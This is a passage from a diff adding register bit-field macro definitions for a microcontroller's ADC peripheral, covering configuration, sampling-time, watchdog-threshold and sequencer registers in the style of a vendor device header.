0x0000001C */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC_CFGR2_OVSR_0 (0x1UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC_CFGR2_OVSR_1 (0x2UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC_CFGR2_OVSR_2 (0x4UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR2_OVSS_Pos (5U) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9U) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC oversampling discontinuous mode (triggered mode) for ADC group regular */ +#define ADC_CFGR2_ROVSM_Pos (10U) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC oversampling mode managing interlaced conversions of ADC group regular and group injected */ + +#define ADC_CFGR2_GCOMP_Pos (16U) +#define ADC_CFGR2_GCOMP_Msk (0x1UL << ADC_CFGR2_GCOMP_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_GCOMP ADC_CFGR2_GCOMP_Msk /*!< ADC Gain Compensation mode */ + +#define ADC_CFGR2_SWTRIG_Pos (25U) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x02000000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software Trigger Bit for Sample time control trigger mode */ +#define ADC_CFGR2_BULB_Pos (26U) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x04000000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ +#define ADC_CFGR2_SMPTRIG_Pos (27U) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sample Time Control Trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (29U) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC Low Frequency Trigger */ + +/******************** Bit definition for ADC_SMPR1 register *****************/ +#define ADC_SMPR1_SMP0_Pos (0U) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC channel 0 sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3U) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC channel 1 sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6U) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC channel 2 sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9U) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC channel 3 sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12U) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC channel 4 sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15U) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC channel 5 sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18U) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC channel 6 sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21U) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC channel 7 sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24U) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC channel 8 sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27U) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC channel 9 sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC_SMPR1_SMPPLUS_Pos (31U) +#define ADC_SMPR1_SMPPLUS_Msk (0x1UL << ADC_SMPR1_SMPPLUS_Pos) /*!< 0x80000000 */ +#define ADC_SMPR1_SMPPLUS ADC_SMPR1_SMPPLUS_Msk /*!< ADC channels sampling time additional setting */ + +/******************** Bit definition for ADC_SMPR2 register *****************/ +#define ADC_SMPR2_SMP10_Pos (0U) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC channel 10 sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3U) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC channel 11 sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6U) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC channel 12 sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9U) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC channel 13 sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12U) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC channel 14 sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15U) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC channel 15 sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18U) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC channel 16 sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21U) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC channel 17 sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24U) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC channel 18 sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +/******************** Bit definition for ADC_TR1 register *******************/ +#define ADC_TR1_LT1_Pos (0U) +#define ADC_TR1_LT1_Msk (0xFFFUL << ADC_TR1_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_TR1_LT1 ADC_TR1_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ + +#define ADC_TR1_AWDFILT_Pos (12U) +#define ADC_TR1_AWDFILT_Msk (0x7UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00007000 */ +#define ADC_TR1_AWDFILT ADC_TR1_AWDFILT_Msk /*!< ADC analog watchdog filtering parameter */ +#define ADC_TR1_AWDFILT_0 (0x1UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00001000 */ +#define ADC_TR1_AWDFILT_1 (0x2UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00002000 */ +#define ADC_TR1_AWDFILT_2 (0x4UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00004000 */ + +#define ADC_TR1_HT1_Pos (16U) +#define ADC_TR1_HT1_Msk (0xFFFUL << ADC_TR1_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_TR1_HT1 ADC_TR1_HT1_Msk /*!< ADC analog watchdog 1 threshold high */ + +/******************** Bit definition for ADC_TR2 register *******************/ +#define ADC_TR2_LT2_Pos (0U) +#define ADC_TR2_LT2_Msk (0xFFUL << ADC_TR2_LT2_Pos) /*!< 0x000000FF */ +#define ADC_TR2_LT2 ADC_TR2_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ + +#define ADC_TR2_HT2_Pos (16U) +#define ADC_TR2_HT2_Msk (0xFFUL << ADC_TR2_HT2_Pos) /*!< 0x00FF0000 */ +#define ADC_TR2_HT2 ADC_TR2_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ + +/******************** Bit definition for ADC_TR3 register *******************/ +#define ADC_TR3_LT3_Pos (0U) +#define ADC_TR3_LT3_Msk (0xFFUL << ADC_TR3_LT3_Pos) /*!< 0x000000FF */ +#define ADC_TR3_LT3 ADC_TR3_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ + +#define ADC_TR3_HT3_Pos (16U) +#define ADC_TR3_HT3_Msk (0xFFUL << ADC_TR3_HT3_Pos) /*!< 0x00FF0000 */ +#define ADC_TR3_HT3 ADC_TR3_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ + +/******************** Bit definition for ADC_SQR1 register ******************/ +#define ADC_SQR1_L_Pos (0U) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC group regular sequencer scan length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6U) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC group regular sequencer rank 1 */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12U) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC group regular sequencer rank 2 */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18U) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC group regular sequencer rank 3 */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL<< ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24U) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC group regular sequencer rank 4 */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ******************/ +#define ADC_SQR2_SQ5_Pos (0U) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC group regular sequencer rank 5 */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6U) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC group regular sequencer rank 6 */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12U) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC group regular sequencer rank 7 */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18U) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC group regular sequencer rank 8 */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24U) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC group regular sequencer rank 9 */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ******************/ +#define ADC_SQR3_SQ10_Pos (0U) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC group regular sequencer rank 10 */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6U) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC group regular sequencer rank 11 */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12U) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC group regular sequencer rank 12 */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18U) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC group regular sequencer rank 13 */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ 